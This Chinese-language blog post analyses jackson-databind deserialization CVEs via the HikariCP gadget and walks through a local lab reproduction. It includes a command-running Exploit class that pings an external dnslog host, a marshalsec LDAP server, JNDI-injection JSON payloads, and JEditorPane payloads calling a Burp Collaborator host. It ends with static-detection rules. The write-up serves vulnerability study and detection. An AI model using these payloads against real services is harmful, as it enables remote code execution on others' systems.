jackson-databind反序列化漏洞

CVE-2019-14540

A Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10. It is related to com.zaxxer.hikari.HikariConfig.

这里使用的是:com.zaxxer.hikari.HikariConfig

CVE-2019-16335

A Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10. It is related to com.zaxxer.hikari.HikariDataSource. This is a different vulnerability than CVE-2019-14540.

这里使用的是:com.zaxxer.hikari.HikariDataSource。通过找到com.zaxxer.hikari的github
jackson-databind反序列化漏洞_第1张图片

jackson-databind反序列化漏洞_第2张图片

com.zaxxer.hikari.HikariDataSource继承了com.zaxxer.hikari.HikariConfig

号称性能最好的JDBC连接池。
参考:https://blog.csdn.net/u013445530/article/details/50607180

可以看到最近的commit,黑名单中增加了两个类:
https://github.com/FasterXML/jackson-databind/commit/73c1c2cc76e6cdd7f3a5615cbe3207fe96e4d3db
这个文件的作用:

这些黑名单类存在的意义:

Set of well-known “nasty classes”, deserialization of which is considered dangerous and should (and is) prevented by default.

jackson-databind反序列化漏洞_第3张图片

利用:
com.zaxxer.hikari.HikariDataSource这个gadgets。
关于gadgets的解释:

Gadgets are classes that allow performing otherwise non-accessible methods or accessing non-accessible data, when instantiated and modified via setters and/or assignments to fields (necessary during reading of data into Objects, aka deserialization; or during writing of Objects as data, aka Serialization).

缓解措施

好像一般的缓解措施都是禁用default typing。

而想要启用这个选项,需要设置:

objectMapper.enableDefaultTyping();

以下翻译自:https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062


附录

开始的研究在default JDK的反序列化上。

序列化(Serializing)的别名

marshalling、pickling

被利用的前提条件(如果我用jackson作为json库是否一定受影响?)

As usual, the full answer is “It Depends”. But the likely answer is “probably not”. The reason for this is that for exploit to work, multiple things must be true and commonly at least one pre-requisite is not true.
But let’s look at these pre-requisite.

这个得“看情况”。其实“一般不会”。原因是,漏洞想被利用成功,有多个前提条件需要满足。然而一般情况下,至少有一个前提条件满足不了。看看这些前提条件都有哪些。

  • 1、JSON数据可控;
  • 2、至少能找到一个gadget,在受影响服务的Java的classpath中;
  • 3、开启了多态类型的处理(Enable polymorphic type handling);也就是enableDefaultTyping()
  • 4、刚好这个版本的jacskon还没有将这个gadget加入到黑名单中。

关键看一下3和4.
3、如何开启多态处理,
一种方法是:
jackson-databind反序列化漏洞_第4张图片
在json请求中直接指定具体的类名。但是需要annotating
另外一种方式是:

import com.fasterxml.jackson.databind.ObjectMapper;

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // or one of variants

实际上做的就是在抽象类型加上了这样的annotating:

@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)

以上翻译自:https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062

参考

  • jackson-databind的各种CVE
  • 全面介绍jackson的CVE
  • https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

环境搭建

https://github.com/caiqiqi/jackson-databind-POC

Exploit.java

public class Exploit {
    public Exploit() {
        try {
            if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
                Runtime.getRuntime().exec("calc.exe");
            } else if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {
                Runtime.getRuntime().exec("open /Applications/Calculator.app");
            } else {
                Runtime.getRuntime().exec("/bin/ping fasterxml.a3f7231bbd0810686e0a.d.zhack.ca");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译

java -version
java version "1.8.0_101"
Java(TM) SE Runtime Environment (build 1.8.0_101-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.101-b13, mixed mode)
javac Exploit.java

在8000端口开启HTTP或者FTP服务

python -m SimpleHTTPServer

提供Exploit.class等待被调用。

使用marshalsec监听在1389端口

java -cp marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

执行poc

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/7/31 14:15
 */
public class HikariTest {

    public static void main(String[] args){
        String json = "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"ldap://127.0.0.1:1389/exploit\"}]";
        try{
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(json,Object.class);
        } catch(IOException e){
            e.printStackTrace();
        }
    }

}

或者在命令行下执行:

java -classpath /Users/caiqiqi/Downloads/rmi/rmi/libs/HikariCP-2.4.0.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-core-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-annotations-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-databind-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-api-1.7.28.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-simple-1.7.28.jar:. HikariTest

Demo

jackson-databind反序列化漏洞_第5张图片

需要的library有:

  • jackson-databind-2.9.6.jar
  • jackson-core-2.9.6.jar
  • jackson-annotations-2.9.6.jar
  • HikariCP-2.4.0.jar
  • slf4j-api-1.7.28.jar
  • slf4j-simple-1.7.28.jar

如果使用mvn一定记得加上这三个

		
        
        <dependency>
            <groupId>com.fasterxml.jackson.coregroupId>
            <artifactId>jackson-databindartifactId>
            <version>2.9.9.3version>
    	dependency>
		<dependency>
			<groupId>com.fasterxml.jackson.coregroupId>
			<artifactId>jackson-coreartifactId>
			<version>2.9.9version>
		dependency>
		<dependency>
			<groupId>com.fasterxml.jackson.coregroupId>
			<artifactId>jackson-annotationsartifactId>
			<version>2.9.6version>
		dependency>	

否则出现各种错误!
然后在IDEA中加入jackson-databind的tag为2.9.6版本的作为source。

如果是用Spring boot启动的话,如果classpath里没有这个包会在日志中记录这个异常:

["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1389/exploit"}]
com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'com.zaxxer.hikari.HikariConfig' as a subtype of [simple type, class java.lang.Object]: no such class found
import com.fasterxml.jackson.databind.ObjectMapper;

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();

这一句比较复杂,暂时理解不了。
看下一句关键的:

objectMapper.readValue(json,Object.class);

跟了一会儿,终于看到了要被反序列化的类名了:
jackson-databind/src/main/java/com/fasterxml/jackson/databind/introspect/AnnotatedConstructor#call
调用栈为:

call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:68, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:18, HikariTest

jackson-databind反序列化漏洞_第6张图片

再看看到底这个构造器里做了什么:
构造器里倒是什么都没做,只是赋值了一些变量。

再继续看:
jackson-databind/src/main/java/com/fasterxml/jackson/databind/deser/BeanDeserializer#vanillaDeserialize

jackson-databind反序列化漏洞_第7张图片

ackson-databind/src/main/java/com/fasterxml/jackson/databind/deser/impl/MethodProperty#deserializeAndSet中:
jackson-databind反序列化漏洞_第8张图片
表示通过反射调用com.zaxxer.hikari.HikariConfig对象的

public void com.zaxxer.hikari.HikariConfig.setMetricRegistry(java.lang.Object)

这个方法?并且传入的值为ldap://127.0.0.1:1389/exploit?

果然下一步就进入到这里:
HikariCP-2.4.0.jar!/com/zaxxer/hikari/HikariConfig#setMetricRegistry

jackson-databind反序列化漏洞_第9张图片

300行,判断这个参数是否为String类型的,若是,则将其强制类型转换之后,调用

initCtx.lookup((String)metricRegistry)

jackson-databind反序列化漏洞_第10张图片
没有引包还是怎么,
下一步就发现进入到了这里:
jackson-databind反序列化漏洞_第11张图片

再看之前监听到LDAP服务,已经有了动静:

仔细看看调用过程:
/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/src.zip!/javax/naming/InitialContext#lookup

/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/url/ldap/ldapURLContext#lookup

一路lookup,到了这里准备反射调用Exploit类:
jackson-databind反序列化漏洞_第12张图片

执行其构造器中的代码:
jackson-databind反序列化漏洞_第13张图片

调用栈为:

<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
setMetricRegistry:486, HikariConfig (com.zaxxer.hikari)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
deserializeAndSet:139, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:68, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:18, HikariTest

在Wireshark里抓一个lo网卡的包(tcp.port==8000||tcp.port==1389),找8000和1389端口的流量,看看是什么样子:

1389端口(LDAP协议?)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MyBcDnUL-1581648178380)(https://note.youdao.com/yws/public/resource/506a616601f32f53243cbdd59dbb3b36/xmlnote/WEBRESOURCE7e01c7b64c821a3d937cb2c8e5d5843a/8522)]

8000端口(Exploit.class的类容)

没抓到包?
又试了一下,原来并不需要提供一个Exploit.class的服务?

原来不是,可能是因为从本地的CLASSPATH中可以获取到这个class文件,于是没有发起这个请求。

参考:https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/

附录

报错信息如下:

/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/bin/java "-javaagent:/Applications/IntelliJ IDEA 2.app/Contents/lib/idea_rt.jar=49937:/Applications/IntelliJ IDEA 2.app/Contents/bin" -Dfile.encoding=UTF-8 -classpath /Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/charsets.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/deploy.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/cldrdata.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/dnsns.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/jaccess.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/jfxrt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/localedata.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/nashorn.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/sunec.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/sunjce_provider.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/sunpkcs11.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/zipfs.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/javaws.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jce.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jfr.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jfxswt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jsse.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/management-agent.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/plugin.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/resources.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/rt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/ant-javafx.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/dt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/javafx-mx.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/jconsole.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/packager.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/sa-jdi.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/tools.jar:/Users/caiqiqi/Downloads/rmi/rmi/out/production/rmi:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-simple-1.7.28.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-api-1.7.28.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/HikariCP-2.4.0.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-core-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-databind-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-annotations-2.9.6.jar HikariTest
objc[64928]: Class JavaLaunchHelper is implemented in both /Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/bin/java (0x10f0f04c0) and /Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/libinstrument.dylib (0x10f1884e0). One of the two will be used. Which one is undefined.
com.fasterxml.jackson.databind.JsonMappingException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
 at [Source: (String)"["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1389/exploit"}]"; line: 1, column: 53] (through reference chain: com.zaxxer.hikari.HikariConfig["metricRegistry"])
	at com.fasterxml.jackson.databind.JsonMappingException.from(JsonMappingException.java:277)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:611)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:599)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:141)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:288)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:151)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:116)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromAny(AsArrayTypeDeserializer.java:71)
	at com.fasterxml.jackson.databind.deser.std.UntypedObjectDeserializer$Vanilla.deserializeWithType(UntypedObjectDeserializer.java:712)
	at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:68)
	at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4013)
	at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3004)
	at HikariTest.main(HikariTest.java:25)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at com.zaxxer.hikari.HikariConfig.setMetricRegistry(HikariConfig.java:486)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:139)
	... 9 more

Process finished with exit code 0

Id.CLASS是什么?

jackson-annotations-2.9.6.jar!/com/fasterxml/jackson/annotation/JsonTypeInfo.class中

jackson-databind反序列化漏洞_第14张图片

参考:
https://www.ibm.com/developerworks/cn/java/jackson-advanced-application/index.html

测试Confluence自带的jackson

虽然其自带的版本是1.x的,

找到了两个POST json的接口

POST /rest/analytics/1.0/publish/bulk HTTP/1.1
Host: cqq.com:8090
Content-Type: application/json

[{"name":"browser.metrics.navigation","javax.swing.JEditorPane", {"page":"http://pc5xqsdmchqphdgyx1kg6ttcz35xtm.burpcollaborator.net:80/?a=1&b=2222"}]

POST /rest/webResources/1.0/resources HTTP/1.1
Host: cqq.com:8090
Content-Type: application/json

["javax.swing.JEditorPane", {"page":"http://pc5xqsdmchqphdgyx1kg6ttcz35xtm.burpcollaborator.net:80/?a=1&b=2222"}]

让其报错:
com.atlassian.analytics.client.browser.PublisherResource$BrowserEventBean
在这里插入图片描述
jackson-databind反序列化漏洞_第15张图片

jackson-databind反序列化漏洞_第16张图片
com.atlassian.webresource.plugin.rest.ListOfResources$Request
报错的原因是Confluence反序列化json的时候指定了具体的类,而指定哪个类这个参数用户不可控。尝试查看这个类的结构,看能不能注入一个恶意对象,发现其都是String,Int等普通类型,没有恶意对象注入点。

不过通过报错可以知道反序列化的类型是什么,不过也不重要。

atlassian-confluence-5.8.18\confluence\WEB-INF\atlassian-bundled-plugins\atlassian-rest-module-2.9.24.jar!\org\codehaus\jackson\jaxrs\JacksonJsonProvider#readFrom
在这里插入图片描述
另外也可见:

enableDefaultTyping();

实际也是调用

enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);

jackson-databind反序列化漏洞_第17张图片

jackson反序列化白盒检测

先看几个白盒检测存在漏洞的示例:
来源:https://github.com/find-sec-bugs/find-sec-bugs/blob/master/findsecbugs-samples-java/src/test/java/testcode/serial/UnsafeJacksonObjectDeserialization.java


public class UnsafeJacksonObjectDeserialization {

    static class ABean {
        public int id;
        public Object obj;
    }

    static class AnotherBean {
        @JsonTypeInfo (use = JsonTypeInfo.Id.CLASS)
        public Object obj;
    }

    static class YetAnotherBean {
        @JsonTypeInfo (use = JsonTypeInfo.Id.MINIMAL_CLASS)
        public Object obj;
    }

    public void exampleOne(String JSON)  throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Object obj = mapper.readValue(JSON, ABean.class);
    }

    public void exampleTwo(String JSON)  throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
        Object obj = mapper.readValue(JSON, ABean.class);
    }

    public void exampleThree(String JSON)  throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        Object obj = mapper.readValue(JSON, AnotherBean.class);
    }

    public void exampleFour(String JSON)  throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        Object obj = mapper.readValue(JSON, YetAnotherBean.class);
    }

}

从上面的四个例子可以总结出存在漏洞的jackson代码有这么几种情况:
1、exampleOne开启了DefaultTyping,且被序列化的类里有一个Object类型,可以进行对象注入;
2、exampleTwo开启了DefaultTyping,且接口类和抽象类都能被反序列化,更可以进行对象注入;
3、exampleThree虽然没有开启DefaultTyping,但是其被序列化的类被JsonTypeInfo.Id.CLASS修饰,可以通过@class进行对象注入;
4、exampleThree虽然没有开启DefaultTyping,但是其被序列化的类被JsonTypeInfo.Id.MINIMAL_CLASS修饰,可以通过@c进行对象注入;

再看一个jackson反序列化白盒检测的误报示例:
来源:https://github.com/find-sec-bugs/find-sec-bugs/blob/master/findsecbugs-samples-java/src/test/java/testcode/serial/JacksonSerialisationFalsePositive.java

public class JacksonSerialisationFalsePositive implements Serializable {

    static class Bean {
        @JsonTypeInfo (use = JsonTypeInfo.Id.NAME)
        public Object obj;
    }

    public void exampleOne(String JSON)  throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        Object obj = mapper.readValue(JSON, JacksonSerialisationFalsePositive.class);
    }

    public void exampleTwo(String JSON)  throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        Object obj = mapper.readValue(JSON, Bean.class);
    }
}

1、exampleOne中没有开启DefaultTyping,且其待反序列化的类没有使用JsonTypeInfo.Id.CLASS/MININAL_CLASS修饰,所以无法进行对象注入;
2、exampleTwo中没有开启DefaultTyping,且其待反序列化的类没有使用JsonTypeInfo.Id.CLASS/MININAL_CLASS修饰,所以无法进行对象注入;

现在一个一个来说:

objectMapper.enableDefaultTyping();
objectMapper.readValue(params, InputStream.class);

不存在漏洞,异常为:
在这里插入图片描述
如果直接:

objectMapper.readValue(params, InputStream.class);

不存在漏洞,异常为:
在这里插入图片描述
如果:

objectMapper.readValue(params, Object.class);

直接反序列化Object类:
没有异常,但是也无法调用payload中的方法。

如果是:

// 注意ABean类里有一个Object字段,而且其名字叫obj,这直接关系到json的payload里的名字
    static class ABean {
        public int id;
        public Object obj;
    }

objectMapper.enableDefaultTyping();
objectMapper.readValue(params, ABean.class);

相应地,使用这个payload:

{"obj": ["javax.swing.JEditorPane", {"page":"http://z00nlwe4p8gfxkqh8bu6zg0ce3ku8j.burpcollaborator.net:80/?a=1&b=2222"}]}

因为这里的obj对象是public的,所以直接使用这个名字,如果有setObj方法,则调用setObj方法。

com\fasterxml\jackson\core\jackson-databind\2.9.9.3\jackson-databind-2.9.9.3.jar!\com\fasterxml\jackson\databind\deser\BeanDeserializer#vanillaDeserialize
jackson-databind反序列化漏洞_第18张图片

看一下调用栈:

deserializeAndSet:141, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserializeAndSet:147, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4014, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3005, ObjectMapper (com.fasterxml.jackson.databind)
deserialize1:80, Jackson (org.joychou.controller)
...

最后是反射调用方法,设置属性值:

jackson-databind反序列化漏洞_第19张图片

jackson-databind反序列化漏洞_第20张图片

如果不加enableDefaultTyping();,即代码是这样:

    static class ABean {
        public int id;
        public Object obj;
    }

objectMapper.readValue(params, ABean.class);

则直接在这里返回了:

vanillaDeserialize:297, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4014, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3005, ObjectMapper (com.fasterxml.jackson.databind)
deserialize1:80, Jackson (org.joychou.controller)

jackson反序列化基本原理

代码示例:

    public static void main(String[] args)throws IOException{
        Person p = new Person();
        p.age = 10;
        p.name = "Alice";
        p.object = new Dna();

        ObjectMapper objectMapper = new ObjectMapper();
//        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
//        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
//        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
//        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json = objectMapper.writeValueAsString(p);
        System.out.println(json);
    }

    static class Person {
        public int age;
        public String name;
        public Object object;

        @Override
        public String toString() {
            return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
        }
    }

    static class Dna {
        public int length = 100;
    }

1、不加enableDefaultTyping:

{"age":10,"name":"Alice","object":{"length":100},"sexObj":{"sex":0}}

2、enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)

{"age":10,"name":"Alice","object":["org.joychou.controller.Jackson$Dna",{"length":100}],"sexObj":{"sex":0}}

3、enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。

{"age":10,"name":"Alice","object":["org.joychou.controller.Jackson$Dna",{"length":100}],"sexObj":["org.joychou.controller.Jackson$MySex",{"sex":0}]}

4、enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
除了上文提到的特征,还支持上文全部类型的Array类型。

{"age":10,"name":"Alice","object":["[Lorg.joychou.controller.Jackson$Dna;",[{"length":100},{"length":100}]],"sexObj":["org.joychou.controller.Jackson$MySex",{"sex":0}]}

5、enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。

["org.joychou.controller.Jackson$Person",{"age":10,"name":"Alice","object":["org.joychou.controller.Jackson$Dna",{"length":100}],"dna":["org.joychou.controller.Jackson$Dna",{"length":100}],"sexObj":["org.joychou.controller.Jackson$MySex",{"sex":0}],"finalObject":"test final object"}]

第1种情况,什么类型都解析不出来;
第2种情况,可以解析出Object类型的对象类型名;
第3种情况,可以解析出Interface类型的对象类型名;
第4种情况,可以解析出数组类型的对象;
第5种情况,只有final修饰的解析不出具体类型名;其他都解析出类型名了。

发现2-5的结果,多出来了类的信息,这就是 EnableDefaultTyping ,在序列化的String里,包含类原本的一些信息,将来反的时候会进行还原。

默认的、无参的enableDefaultTyping是第二个等级,OBJECT_AND_NON_CONCRETE

总结一下,如果开启了这个功能,就可以指定被反序列化的那个类!
这四个等级的解析能力是依次递增的。NON_FINAL是最高的。

总结

第一个特征是关于 EnableDefaultTyping 的,注意他的多个重载方法,共有4个:

ObjectMapper enableDefaultTyping()
ObjectMapper enableDefaultTyping(DefaultTyping dti)
ObjectMapper enableDefaultTyping(DefaultTyping applicability, JsonTypeInfo.As includeAs)
ObjectMapper enableDefaultTypingAsProperty(DefaultTyping applicability, String propertyName)

只要匹配到,就算命中了条件A。

第二个特征是在 readValue 时候,指定的类本身是Object或者里面一定要包含Object类型字段或者Object类型的setter。

public <T> T readValue(String content, JavaType valueType)
public <T> T readValue(Reader src, Class<T> valueType)
public <T> T readValue(Reader src, TypeReference valueTypeRef)
public <T> T readValue(Reader src, JavaType valueType)

所以只要匹配到这个,就需要对第二个参数进行解析,确认这个Model是否是可以被攻击的Model。如果包含了Object或者本身就是个Object,就认为命中了条件B。

第三个特征是被反序列的类里面,有被 JsonTypeInfo 注解过的类,而且里面的内容是 JsonTypeInfo.Id.CLASSJsonTypeInfo.Id.MINIMAL_CLASS 。记做条件C。

最终条件就是 (A&&B) || C。

